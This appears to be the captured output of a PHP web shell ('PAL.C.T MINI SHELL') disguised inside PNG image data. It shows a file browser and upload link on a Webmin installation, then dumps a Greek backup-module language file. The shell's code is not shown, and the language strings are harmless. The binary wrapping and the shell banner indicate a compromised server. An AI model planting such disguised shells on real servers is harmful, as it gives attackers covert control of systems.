php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/fsdump/lang/
upload
files >> //usr/libexec/webmin/fsdump/lang/el.auto

index_title=Αρχείο αντιγράφων ασφαλείας αρχείων
index_add=Προσθέστε ένα νέο αντίγραφο ασφαλείας του καταλόγου:
index_none=Δεν έχουν δημιουργηθεί ακόμα διαμορφώσεις αντιγράφων ασφαλείας συστήματος αρχείων.
index_none2=Δεν υπάρχουν διαμορφώσεις αντιγράφων ασφαλείας συστημάτων αρχείων που έχετε πρόσβαση για να υπάρχουν.
index_restore=Επαναφορά αντιγράφων ασφαλείας του τύπου συστήματος αρχείων:
index_restoremsg=Επιλέξτε τον τύπο συστήματος αρχείων και κάντε κλικ σε αυτό το κουμπί για να ξεκινήσετε τη διαδικασία επιλογής ενός backup αρχείου συστήματος αρχείων για επαναφορά.
index_restore2=Επαναφορά αντιγράφων ασφαλείας του συστήματος αρχείων
index_restoremsg2=Κάντε κλικ σε αυτό το κουμπί για να ξεκινήσετε τη διαδικασία επιλογής δημιουργίας αντιγράφων ασφαλείας συστήματος αρχείων για επαναφορά.
index_ecommands=Καμία από τις εντολές δημιουργίας αντιγράφων ασφαλείας αρχείων συστήματος (όπως το $1) που απαιτούνται από αυτήν την ενότητα δεν βρέθηκαν στο σύστημά σας. Ίσως να μην έχουν εγκατασταθεί.
index_return=λίστα αντιγράφων ασφαλείας
index_running=Εκτέλεση εργασιών δημιουργίας αντιγράφων ασφαλείας
index_jobs=Προγραμματισμένα αντίγραφα ασφαλείας
index_start=Ξεκίνησε στο
index_status=Τρέχουσα κατάσταση
index_status_running=Τρέξιμο
index_status_tape=Αναμονή για ταινία
index_action=Δράση
index_kill=Τερματίζω
index_newtape=Ταινία φορτωμένη
index_noact=Κανένα διαθέσιμο
index_now=Αντιγράφων ασφαλείας ..
index_follow=Μετά το $1 
index_forcetar=Σε μορφή TAR
index_delete=Διαγραφή επιλεγμένων αντιγράφων ασφαλείας
index_nostrftime=Προειδοποίηση - ορισμένες εργασίες δημιουργίας αντιγράφων ασφαλείας χρησιμοποιούν % στα ονόματα αρχείων τους, αλλά η υποκατάσταση του strftime δεν είναι ενεργοποιημένη στη σελίδα "Ρύθμιση παραμέτρων".

dump_dir=Κατάλογος προς δημιουργία αντιγράφων ασφαλείας
dump_dirs=Κατάλογοι για δημιουργία αντιγράφων ασφαλείας
dump_fs=Σύστημα αρχείων
dump_sched=Προγραμματισμένος?
dump_when=Ωρες ώρες
dump_dest=Δημιουργία αντιγράφων ασφαλείας σε
dump_file=Συσκευή αρχείων ή ταινίας
dump_host=Υποδοχή $1 ως χρήστη $2 σε αρχείο ή συσκευή $3 
dump_level=Επίπεδο απορροής
dump_level_0=0 (πλήρες αντίγραφο ασφαλείας)
dump_label=Εφεδρική ετικέτα
dump_multi=Διαχωρισμός σε πολλά αρχεία;
dump_update=Ενημέρωση αρχείου <tt>/etc/dumpdates</tt>;
dump_exclude=Αρχεία και καταλόγους για να παραλείψετε
dump_edir=Έλλειψη ή μη έγκυρος κατάλογος για δημιουργία αντιγράφων ασφαλείας
dump_efile=Δεν υπάρχει αρχείο ή συσκευή για δημιουργία αντιγράφων ασφαλείας σε
dump_ehost=Έλλειψη ή μη έγκυρος κεντρικός υπολογιστής για δημιουργία αντιγράφων ασφαλείας σε
dump_ehuser=Μη έγκυρο όνομα χρήστη στον κεντρικό υπολογιστή για δημιουργία αντιγράφου ασφαλείας
dump_ehuser2=Το όνομα χρήστη δεν μπορεί να περιέχει τον χαρακτήρα @
dump_ehfile=Έλλειψη ή μη έγκυρο αρχείο ή συσκευή στον κεντρικό υπολογιστή για δημιουργία αντιγράφων ασφαλείας σε
dump_elabel=Μη έγκυρη ετικέτα δημιουργίας αντιγράφων ασφαλείας (μπορεί να είναι το πολύ 15 χαρακτήρες)
dump_elabel2=Μη έγκυρη ετικέτα δημιουργίας αντιγράφων ασφαλείας (μπορεί να έχει το πολύ 255 χαρακτήρες)
dump_eblocks=Λείπει ή μη έγκυρο μέγεθος ταινίας
dump_ebsize=Λανθασμένο ή άκυρο μέγεθος μπλοκ αρχείου καταγραφής
dump_max=Μέγιστο μέγεθος αρχείου που πρέπει να συμπεριληφθεί
dump_unlimited=Απεριόριστος
dump_attribs=Συμπεριλάβετε χαρακτηριστικά αρχείου;
dump_over=Ρωτήστε πριν αντικαταστήσετε την ταινία;
dump_overwrite=Να αντικαθιστάτε πάντα αντίγραφα ασφαλείας;
dump_invent=Καταγράψτε αντίγραφα ασφαλείας στο απόθεμα;
dump_emax=Λείπει ή μη έγκυρο μέγιστο μέγεθος αρχείου
dump_emp=Ο κατάλογος στο αντίγραφο ασφαλείας πρέπει να είναι ένα σημείο προσάρτησης του συστήματος αρχείων
dump_erase=Διαγραφή αρχείου / διαγραφή ταινίας πριν από την δημιουργία αντιγράφων ασφαλείας;
dump_verify=Επαληθεύστε τα δεδομένα μετά από δημιουργία αντιγράφων ασφαλείας
dump_offline=Εξαγωγή ταινίας μετά την δημιουργία αντιγράφων ασφαλείας;
dump_blocks=Μέγεθος ταινίας
dump_bsize=Μέγεθος μπλοκ εγγραφής καταγραφής
dump_auto=Εργαστείτε αυτόματα
dump_honour=Πάντα να αποκλείετε τα επισημασμένα αρχεία;
dump_comp=Συμπίεση δεδομένων;
dump_complvl=Ναι, με επίπεδο
dump_ecomp=Λείπει ή μη έγκυρο επίπεδο συμπίεσης
dump_before=Εντολή για εκτέλεση πριν από την δημιουργία αντιγράφου ασφαλείας
dump_after=Εντολή εκτέλεσης μετά από δημιουργία αντιγράφων ασφαλείας
dump_fok=Σταματήστε εάν αποτύχει η εντολή
dump_fok2=Αναφέρατε την αποτυχία εάν η εντολή αποτύχει
dump_aok=Παράλειψη εντολής ακόμη και αν αποτύχει η δημιουργία αντιγράφων ασφαλείας
dump_extra=Επιπλέον παραμέτρους γραμμής εντολών
dump_rsh=Απομακρυσμένη εντολή αντιγραφής
dump_rsh0=Προεπιλογή (RSH)
dump_rsh1=SSH
dump_rsh3=FTP
dump_rsh2=Άλλη εντολή ..
dump_pass=Κωδικός πρόσβασης για σύνδεση SSH
dump_pass2=Κωδικός πρόσβασης για σύνδεση SSH/FTP
dump_ersh=Λείπει ή δεν είναι έγκυρη εντολή απομακρυσμένης αντιγραφής
dump_essh=Το SSH δεν μπορεί να χρησιμοποιηθεί για απομακρυσμένα αντίγραφα ασφαλείας εκτός αν η εντολή <tt>ssh</tt> είναι εγκατεστημένη στο σύστημά σας
dump_ecannot1=Δεν επιτρέπεται η δημιουργία αντιγράφων ασφαλείας
dump_ecannot2=Δεν επιτρέπεται να επεξεργαστείτε αυτό το αντίγραφο ασφαλείας
dump_ecannot3=Δεν επιτρέπεται η δημιουργία αντιγράφων ασφαλείας αυτού του καταλόγου
dump_format=Δημιουργία αντιγράφων ασφαλείας
dump_tar=Unix TAR
dump_dumpfs=$1 σφάλμα συστήματος αρχείων
dump_gzip=Συμπίεση αρχείου;
dump_gzip1=Ναι, με gzip
dump_gzip2=Ναι, με το bzip2
dump_gzip3=Ναι, με την XZ
dump_bcomp=Να συμπιεσμένα δεδομένα σε μπλοκ;
dump_xdev=Περιορίστε το αντίγραφο ασφαλείας σε ένα σύστημα αρχείων;
dump_update2=Απλά προσθέστε νέα αρχεία για αρχειοθέτηση;
dump_ignoreread=Αγνόηση σφαλμάτων ανάγνωσης στα αρχεία;
dump_notape=Προτροπή για νέα ταινία αν χρειαστεί;
dump_rmt=Διαδρομή <tt>rmt</tt> στο απομακρυσμένο σύστημα
dump_links=Ακολουθήστε συμβολικούς δεσμούς;
dump_egzip=Η επιλογή συμπίεσης gzip είναι ασύμβατη με την επιλογή μεγέθους ταινίας
dump_egzip2=Η επιλογή συμπίεσης gzip είναι ασύμβατη με την επιλογή δημιουργίας αντιγράφων πολλαπλών αρχείων
dump_egzip3=Η επιλογή συμπίεσης gzip είναι ασύμβατη με την επιλογή να προσθέσετε μόνο νέα αρχεία στο αρχείο
dump_emulti=Τα αντίγραφα ασφαλείας πολλαπλών αρχείων δεν μπορούν να γίνουν σε μια συσκευή ταινίας
dump_emulti2=Τα αντίγραφα ασφαλείας πολλών αρχείων δεν μπορούν να γίνουν σε απομακρυσμένο διακομιστή
dump_ermt=Έλλειψη ή μη έγκυρη διαδρομή προς το πρόγραμμα <tt>rmt</tt>
dump_reverify=Προσπάθεια δοκιμής αποκατάστασης μετά από δημιουργία αντιγράφων ασφαλείας για την επαλήθευση;
dump_remount=Επαναφορά με την επιλογή <tt>noatime</tt> κατά τη διάρκεια της δημιουργίας αντιγράφων ασφαλείας;
dump_eftpupdate=Η προσθήκη αρχείων σε υπάρχον αρχείο δεν είναι δυνατή όταν χρησιμοποιείτε FTP.
dump_eleveldir=Μόνο αντίγραφα ασφαλείας επιπέδου 0 επιτρέπονται για καταλόγους που δεν είναι σημεία προσάρτησης συστήματος αρχείων
dump_eupdatedir=Το αρχείο <tt>/etc/dumpdates</tt> μπορεί να ενημερωθεί μόνο για καταλόγους που είναι σημεία προσάρτησης του συστήματος αρχείων

edit_err=Αποτυχία δημιουργίας αντιγράφου ασφαλείας
edit_edir=Λείπει ο κατάλογος backup
edit_efs=Τα συστήματα αρχείων του τύπου $1 δεν μπορούν να δημιουργηθούν αντίγραφα ασφαλείας από αυτήν την ενότητα
edit_title=Προσθήκη νέου αντιγράφου ασφαλείας
edit_title2=Επεξεργασία αντιγράφων ασφαλείας
edit_title3=Κλωνοποίηση αντιγράφων ασφαλείας
edit_header=$1 εφεδρικές λεπτομέρειες συστήματος αρχείων
edit_header2=Πρόγραμμα αντιγράφων ασφαλείας
edit_header3=Επιλογές δημιουργίας αντιγράφων ασφαλείας
edit_enabled=Το προγραμματισμένο αντίγραφο ασφαλείας είναι ενεργοποιημένο;
edit_enabled_no=άτομα με ειδικές ανάγκες
edit_enabled_yes=Ενεργοποίηση, μερικές φορές που επιλέγονται παρακάτω.
edit_enabled_af=Ενεργοποίηση, μετά από:
edit_savenow=Αποθήκευση και δημιουργία αντιγράφων ασφαλείας τώρα
edit_createnow=Δημιουργία και δημιουργία αντιγράφων ασφαλείας τώρα
edit_return=αντιγράφων ασφαλείας
edit_email=Αποστολή προγραμματισμένης εξόδου ηλεκτρονικού ταχυδρομείου σε
edit_subject=Θέμα μηνύματος ηλεκτρονικού ταχυδρομείου
edit_restore=Επαναφορά ..
edit_to=$1 έως $2 
edit_tolevel=$1 έως $2 (επίπεδο $3)
edit_special=Πρόγραμμα αντιγράφων ασφαλείας
edit_when=Πότε πρέπει να δημιουργήσετε αντίγραφα ασφαλείας
edit_clone=Κλωνοποίηση

save_err=Αποτυχία αποθήκευσης αντιγράφων ασφαλείας
save_edir=Έλλειψη ή μη έγκυρος κατάλογος αντιγράφων ασφαλείας
save_efs=Ο κατάλογος δημιουργίας αντιγράφων ασφαλείας δεν μπορεί να αλλάξει σε διαφορετικό σύστημα αρχείων

backup_title=Δημιουργία αντιγράφων ασφαλείας τώρα
backup_desc=Δημιουργία αντιγράφων ασφαλείας του $1 στο $2 ..
backup_reverify=.. πλήρης. Τώρα επαληθεύεται το αντίγραφο ασφαλείας ..
backup_beforefailed=.. πριν αποτύχει η εντολή αντιγράφων ασφαλείας!
backup_afterfailed=.. μετά από αποτυχία εντολής backup!
backup_done=.. backup ολοκληρώθηκε.
backup_failed=.. backup απέτυχε!
backup_noverify=.. η επαλήθευση απέτυχε!
backup_notape=.. backup υπερέβησαν την χωρητικότητα μίας μόνο ταινίας. Η αλλαγή κασέτας υποστηρίζεται μόνο όταν τα αντίγραφα ασφαλείας εκτελούνται ως διαδικασίες παρασκηνίου.
backup_egone=Το backup δεν υπάρχει!
backup_bg=Ξεκινώντας διαδικασία δημιουργίας αντιγράφων ασφαλείας φόντου Μπορείτε να παρακολουθήσετε την πρόοδό του στην ενότητα <b>Εκτέλεση αντιγράφων εργασιών</b> στην κύρια σελίδα της ενότητας και θα ειδοποιηθείτε για την τελική κατάστασή του μέσω ηλεκτρονικού ταχυδρομείου.
backup_ecannot=Δεν επιτρέπεται η δημιουργία αντιγράφων ασφαλείας αυτού του καταλόγου

restore_title=Επαναφορά αντιγράφων ασφαλείας
restore_err=Αποτυχία επαναφοράς του αντιγράφου ασφαλείας
restore_ecommand=Η εντολή $1 που απαιτείται για την επαναφορά των αντιγράφων ασφαλείας αρχείων $2 δεν βρέθηκε στο σύστημά σας. Ίσως δεν είναι εγκατεστημένο.
restore_theader=Επαναφορά αντιγράφων ασφαλείας από το αρχείο TAR Unix
restore_header=Επαναφορά αντιγράφων ασφαλείας του συστήματος αρχείων $1 
restore_src=Επαναφορά από αρχείο ή συσκευή
restore_dir=Επαναφορά στον κατάλογο
restore_ok=Επαναφορά αντιγράφων ασφαλείας τώρα
restore_over=Αντικαταστήσετε τα υπάρχοντα αρχεία?
restore_over0=Πάντα
restore_over1=Αν δεν είναι πιο πρόσφατο από το αντίγραφο ασφαλείας
restore_over2=Ποτέ
restore_noattribs=Επαναφορά χαρακτηριστικών αρχείου;
restore_label=Αποκαθιστάτε μόνο αντίγραφο ασφαλείας με ετικέτα
restore_files=Αρχεία για επαναφορά
restore_all=Όλα τα αντίγραφα ασφαλείας
restore_sel=Καταχωρημένα αρχεία ..
restore_multi=Το αντίγραφο ασφαλείας είναι χωρισμένο σε πολλά αρχεία;
restore_efile=Λείπει αρχείο ή συσκευή για επαναφορά από
restore_ehost=Έλλειψη ή μη έγκυρος κεντρικός υπολογιστής για αποκατάσταση από
restore_ehuser=Μη έγκυρο όνομα χρήστη στον κεντρικό υπολογιστή για αποκατάσταση από
restore_ehfile=Λείπει ή μη έγκυρο αρχείο ή συσκευή στον κεντρικό υπολογιστή για αποκατάσταση από
restore_now=Επαναφορά αντιγράφων ασφαλείας με εντολή $1 ..
restore_desc=Αυτή η σελίδα σάς επιτρέπει να επαναφέρετε ένα προηγούμενο αντίγραφο ασφαλείας του συστήματος αρχείων. Να είστε προσεκτικοί κατά την αποκατάσταση, καθώς τα αρχεία τροποποιούνται από την αντιγραφή του αντιγράφου ασφαλείας!
restore_efiles=Λείπουν αρχεία για επαναφορά
restore_evolume=Οι επαναφορές πολλαπλών τόμων δεν υποστηρίζονται.
restore_equestion=Άγνωστη ερώτηση από την επαναφορά : $1 
restore_edir=Έλλειψη ή μη έγκυρος κατάλογος για επαναφορά σε
restore_failed=Η αποκατάσταση απέτυχε : $1 
restore_failed2=Επαναφορά απέτυχε! Ανατρέξτε στην παραπάνω έξοδο.
restore_complete=Η επαναφορά ολοκληρώθηκε με επιτυχία.
restore_test=Εμφάνιση μόνο αρχείων στο αντίγραφο ασφαλείας;
restore_nothing=Απλά δοκιμάστε το αντίγραφο ασφαλείας;
restore_extra=Επιπλέον επιλογές γραμμής εντολών
restore_rsh=Απομακρυσμένη εντολή επαναφοράς
restore_ersh=Λείπει ή δεν είναι έγκυρη εντολή απομακρυσμένης επαναφοράς
restore_essh=Το SSH δεν μπορεί να χρησιμοποιηθεί για απομακρυσμένες αποκαταστάσεις εκτός εάν η εντολή <tt>ssh</tt> είναι εγκατεστημένη στο σύστημά σας
restore_ecannot=Δεν επιτρέπεται η επαναφορά των αντιγράφων ασφαλείας
restore_perms=Να επαναφέρετε τα δικαιώματα αρχείων;
restore_gzip=Αποσυμπίεση αρχείου;
restore_keep=Μην αντικαταστήσετε αρχεία;
restore_emulti=Οι επαναφορές πολλαπλών αρχείων δεν μπορούν να γίνουν από μια συσκευή ταινίας
restore_emulti2=Οι επαναφορές πολλών αρχείων δεν μπορούν να γίνουν από απομακρυσμένο διακομιστή

log_create=Δημιουργήθηκε εφεδρική διαμόρφωση για το $1 
log_modify=Τροποποιημένη ρύθμιση παραμέτρων δημιουργίας αντιγράφων ασφαλείας για το $1 
log_delete=Διαγράφηκε διαμόρφωση δημιουργίας αντιγράφων ασφαλείας για το $1 
log_backup=Δημιουργία αντιγράφων ασφαλείας $1 έως $2 
log_bgbackup=Ξεκίνησε η δημιουργία αντιγράφων ασφαλείας του $1 στο $2 
log_restore=Αποκαταστάθηκε αντίγραφο ασφαλείας από $1 
log_kill=Ολοκληρώθηκε η δημιουργία αντιγράφων ασφαλείας για το $1 

kill_err=Αποτυχία τερματισμού της δημιουργίας αντιγράφων ασφαλείας
kill_egone=Δεν τρέχει πλέον!
kill_ecannot=Δεν επιτρέπεται να τερματίσετε αυτό το αντίγραφο ασφαλείας

newtape_err=Αποτυχία σήματος νέας ταινίας
newtape_egone=Η δημιουργία αντιγράφων ασφαλείας δεν εκτελείται πλέον!
newtape_estatus=Το αντίγραφο ασφαλείας δεν περιμένει πλέον μια νέα κασέτα
newtape_ecannot=Δεν επιτρέπεται να διαχειρίζεστε αυτό το αντίγραφο ασφαλείας

acl_edit=Μπορεί να δημιουργήσει και να επεξεργαστεί αντίγραφα ασφαλείας;
acl_restore=Μπορεί να επαναφέρει αντίγραφα ασφαλείας;
acl_cmds=Μπορεί να επεξεργαστεί πριν και μετά τις εντολές;
acl_extra=Μπορούν να επεξεργαστούν επιπλέον παραμέτρους γραμμής εντολών;
acl_dirs=Επιτρεπόμενοι κατάλογοι για αντίγραφα ασφαλείας
acl_all=Όλοι οι κατάλογοι
acl_list=Μόνο που αναφέρονται ..

delete_err=Αποτυχία διαγραφής αντιγράφων ασφαλείας
delete_enone=Δεν έχει επιλεγεί

email_already=Η δημιουργία αντιγράφων ασφαλείας εκτελείται ήδη με PID $1.
email_ebefore=Η εντολή πριν από την αντιγραφή απέτυχε!
email_verify=Επαλήθευση αντιγράφων ασφαλείας ..
email_eafter=Η εντολή μετά την αντιγραφή απέτυχε!
email_subject=Δημιουργία αντιγράφων ασφαλείας του $1 στο $2 
email_ok=Η δημιουργία αντιγράφων ασφαλείας ήταν επιτυχής
email_failed=Η δημιουργία αντιγράφων ασφαλείας απέτυχε!

newtape_subject=Αλλαγή ταινίας $1 για δημιουργία αντιγράφων ασφαλείας του $2 στο $3 
newtape_body=Το αντίγραφο ασφαλείας του $2 στο $3 έχει φτάσει στη μέγιστη ποσότητα δεδομένων που επιτρέπεται στην κασέτα $1. Θα χρειαστεί να φορτώσετε μια νέα κασέτα και να πατήσετε το σύνδεσμο 'Tape Loaded' στη μονάδα Backup του συστήματος αρχείων του Webmin για να συνεχίσει το backup.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`